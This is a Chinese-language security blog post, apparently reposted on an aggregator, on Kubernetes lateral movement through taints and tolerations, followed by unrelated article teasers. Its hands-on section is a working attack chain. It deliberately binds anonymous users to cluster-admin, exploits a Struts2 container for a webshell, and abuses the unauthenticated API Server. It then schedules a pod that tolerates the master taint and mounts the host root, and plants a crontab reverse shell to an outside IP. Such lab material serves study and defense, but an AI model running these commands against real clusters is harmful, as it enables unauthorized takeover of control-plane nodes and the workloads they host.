【云安全】云原生- K8S 污点横移

news/2025/2/23 1:59:27/

什么是“污点横移”?

在 K8S 中,利用污点(Taint)进行横向移动渗透是指攻击者通过操纵或绕过集群中的污点和容忍(Toleration)机制,将恶意负载(Pod)调度到原本受保护的节点上,从而突破隔离并进一步渗透集群。污点和容忍是 K8S 的合法功能,设计目的是增强安全性。问题通常源于错误的权限分配(如过宽的 RBAC 策略)或不安全的容忍配置(如 Pod 容忍所有污点)。

污点(Taint)

污点是节点(Node)上设置的标记,用于拒绝不符合条件的 Pod 调度到该节点。

可通过以下命令查看节点上的污点设置

kubectl describe node <节点名称>

在输出中,可以看到以下内容,含污点信息

针对性查看所有节点的污点信息 

kubectl describe node | grep 'Taints' -A 5

污点一般有三种值:

NoSchedule: 禁止调度新的 Pod 到该节点。

PreferNoSchedule: 优先避免将 Pod 调度到该节点,但不是强制性的。

NoExecute: 禁止新的 Pod 调度到该节点,并驱逐不容忍该污点的现有 Pod。

容忍(Toleration)

容忍是 Pod 上设置的属性,允许 Pod 被调度到带有特定污点的节点。

可通过以下命令查看Pod上的Toleration属性

kubectl describe pod <pod-name>

在输出最后,可以看到容忍信息 

总结

污点(Taint)与容忍(Toleration) 这一机制通常用于隔离敏感工作负载(例如,将数据库 Pod 限制到专用节点)。

K8S渗透,通常通过创建恶意Pod并将其调度到目标节点上进行,攻击者可利用Pod挂载宿主机的目录或通过特权容器等方式获取节点权限。如果集群中存在多个节点,K8S会根据污点(Taints)和容忍度(Tolerations)机制控制Pod的调度,默认情况下带污点的节点不会接受Pod调度,因此攻击者无法轻易将Pod调度到这些节点上。而主节点(Master Node)通常默认不支持调度普通Pod,以避免对集群管理组件产生影响,除非通过修改污点或设置容忍度来改变这一行为。因此,恶意Pod调度的成功与否与节点是否存在污点、主节点的调度策略以及容忍度的设置密切相关。

实战模拟

攻击者拿到 Node 节点或者节点上某个 Pod 权限的权限。使用 kubelet 配合 API Server 未授权访问创建恶意 Pod ,设置容忍污点,把 Pod 调度到 Master 节点上,进而通过这个 Pod 获取 Master 节点权限。 

1、搭建环境

(1)k8s将 `system:anonymous` 用户绑定到 `cluster-admin` 用户组,造成 API Server 6443端口的未授权访问

#引起未授权的配置命令
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous#如果你想关闭这个权限,实际上你只需要删除这个ClusterRoleBinding,命令如下
kubectl delete clusterrolebinding system:anonymous#验证
kubectl get clusterrolebinding system:anonymous

(2)k8s搭建一个struts2漏洞环境

kubectl create deployment struts --image=vulhub/struts2:2.3.28kubectl expose deploy struts --port=8080 --target-port=8080 --type=NodePortkubectl get pod,svc

浏览器访问

2、模拟渗透

(1)从攻击者视角看,首先,攻击者取得webshell权限

哥斯拉连接后,发现一些命令无法使用,通过 ls -al / 一查看到.dockerenv,确定是docker容器 

进一步使用 cat /proc/1/cgroup 命令,确定为K8S集群,目前在K8S的Pod里面

(2)攻击者上传CDK工具,进行进一步信息收集

通过以下命令进行信息收集

./cdk eva

发现存在 API Server 未授权!

找到k8s内网通信地址,并记录

(3)攻击者在Pod中使用curl命令下载kubectl工具,准备进一步渗透

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"#并赋予执行权限
chmod +x kubectl#或者直接将下载的kubectl文件复制到/usr/local/bin/目录,并设置执行权限
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

由于存在API Server未授权访问,根据刚才CDK收集到的地址,使用以下命令继续探测

kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 get node -o widekubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 get pod -o wide

如图,发现1台master,2台node,且发现目前所在的Pod在node2节点上

3、污点横移

于是攻击者考虑利用API Server未授权创建恶意Pod,同时利用污点设置横向移动到master节点,直接获取master节点权限! 

(1)首先,使用如下命令查看各个节点的污点设置

kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 describe node | grep 'Taints' -A 5

(2)接下来,根据以上污点设置创建恶意Pod

#通过cat写入1.yaml配置文件cat > 1.yaml << EOF
apiVersion: v1
kind: Pod
metadata:name: qqqq
spec:tolerations:- key: node-role.kubernetes.io/master #设置容忍,允许Pod调度到master节点上operator: Existseffect: NoSchedulecontainers:- name: qqqqimage: ubuntu:18.04command: ["/bin/sleep", "3650d"]volumeMounts:- name: qqqqmountPath: /qiuhuivolumes:- name: qqqqhostPath:path: /type: Directory
EOF#使用1.yaml创建Podkubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 create -f 1.yaml

经过多次创建,Pod终于被调度到master节点上

(3)写入计划任务到master节点,反弹shell

kubectl -s https://10.1.0.1:443 --insecure-skip-tls-verify=true --username=1 --password=1 exec qqq -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.255.128/4449 0>&1\n' >> /qiuhui/etc/crontab"

成功获取master主节点权限!


http://www.ppmy.cn/news/1574297.html

相关文章

普通人使用生成式语言模型的几个阶段

随着生成式语言模型&#xff08;如 ChatGPT、Grok 等&#xff09;逐渐走进大众生活&#xff0c;普通人从最初的懵懂尝试&#xff0c;到熟练运用&#xff0c;再到理性判断其输出结果是否可靠&#xff0c;经历了一个逐步进阶的过程。以下&#xff0c;我将详细描述普通人使用生成式…

二叉树层序遍历的三种情况(总结)

这道题就是一个比较简单的层序遍历&#xff0c;只需要利用队列存放二叉树结点&#xff0c;队列的size代表每层的节点数也就是平均值的除数&#xff0c;利用一个结果数组记录每层平均值&#xff0c;最后返回。 需要注意的是&#xff0c;平均值定义成double类型。 代码如下&…

一周学会Flask3 Python Web开发-flask3模块化blueprint配置

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 我们在项目开发的时候&#xff0c;多多少少会划分几个或者几十个业务模块&#xff0c;如果把这些模块的视图方法都写在app.py…

SpringCould+vue3项目的后台用户管理的CURD【Taurus教育平台】

文章目录 一.SpringCouldvue3项目的后台用户管理的CURD【Taurus教育平台】 1.1 背景 二.用户列表&#xff08;分页查询&#xff09; 2.1 前端Vue3 &#xff08;Vue3-Element-Admin&#xff09;2.2 后端SpringCould 处理 三. 用户信息删除 3.1 前端Vue3 &#xff08;Vue3-Eleme…

如何取消Word首字母自动大写?

在英语语法中&#xff0c; 当英文单词位于句子开头时&#xff0c; 首字母要大写。 因此&#xff0c;为了输入方便&#xff0c; 我们常用的Word会默认 英文首字母大写。 但平时我们在输入中文的语境下&#xff0c; 偶尔加几个英语单词并不需要如此。 那么 如何取消Word…

【HeadFirst系列之HeadFirst设计模式】第8天之适配器模式与外观模式:让不兼容的接口和谐共处!

适配器模式与外观模式&#xff1a;让不兼容的接口和谐共处&#xff01; 大家好&#xff01;今天我们来聊聊设计模式中的适配器模式&#xff08;Adapter Pattern&#xff09;和外观模式&#xff08;Facade Pattern&#xff09;。如果你曾经遇到过接口不兼容的问题&#xff0c;或…

【登月计划】 DAY2 中期:产品研发与设计验证(4-6)--《设计图纸如何从电脑飞进生产线?揭秘研发系统的 “暗箱操作”》

目录 四、乐高教学&#xff1a;拆解 CAD/CAE 与 PLM 的 “共生关系” 1. CAD 系统&#xff1a;工程师的 “数字画笔” &#x1f3a8; 2. CAE 系统&#xff1a;产品的 “虚拟实验室” &#x1f52c; 3. PLM 系统&#xff1a;设计的 “大管家” 五、装逼话术&#xff1a;设计…

Lineageos 22.1(Android 15)Launcer打开Taskbar

一、前言 Taskbar是Android高版本给大屏幕设备定制的快捷导航条&#xff0c;屏幕宽度或者高度达到一定程度&#xff0c;就会判断为平板而显示taskbar。 /*** Returns {code true} if the bounds represent a tablet.*/public boolean isTablet(WindowBounds bounds) {return s…